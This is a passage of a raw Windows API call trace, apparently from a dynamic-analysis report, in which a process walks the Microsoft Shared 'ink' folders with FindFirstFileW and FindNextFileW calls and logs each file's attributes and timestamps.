nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.033] GetLastError () returned 0x12 [0054.033] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.033] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.033] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.033] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0054.033] GetLastError () returned 0x12 [0054.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.299] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.299] GetLastError () returned 0x12 [0054.299] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.299] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.299] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0054.299] GetLastError () returned 0x12 [0054.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.299] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.300] GetLastError () returned 0x12 [0054.300] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.300] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.300] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0054.300] GetLastError () returned 0x12 [0054.300] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0054.300] GetLastError () returned 0x12 [0054.300] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0054.300] GetLastError () returned 0x12 [0054.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.300] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.301] GetLastError () returned 0x12 [0054.301] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.301] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.301] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.301] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0054.301] GetLastError () returned 0x12 [0054.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.465] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.465] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0054.466] GetLastError () returned 0x12 [0054.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.466] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.466] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0054.466] GetLastError () returned 0x12 [0054.466] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0054.466] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.467] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.467] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0054.467] GetLastError () returned 0x12 [0054.467] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0054.467] GetLastError () returned 0x12 [0054.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.467] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.467] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0054.467] GetLastError () returned 0x12 [0054.467] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0054.467] GetLastError () returned 0x12 [0054.467] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0054.467] GetLastError () returned 0x12 [0054.467] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0054.468] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.468] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.468] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0054.468] GetLastError () returned 0x12 [0054.468] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0054.468] GetLastError () returned 0x12 [0054.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.469] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.469] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0054.469] GetLastError () returned 0x12 [0054.469] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0054.469] GetLastError () returned 0x12 [0054.469] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0054.469] GetLastError () returned 0x12 [0054.469] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, 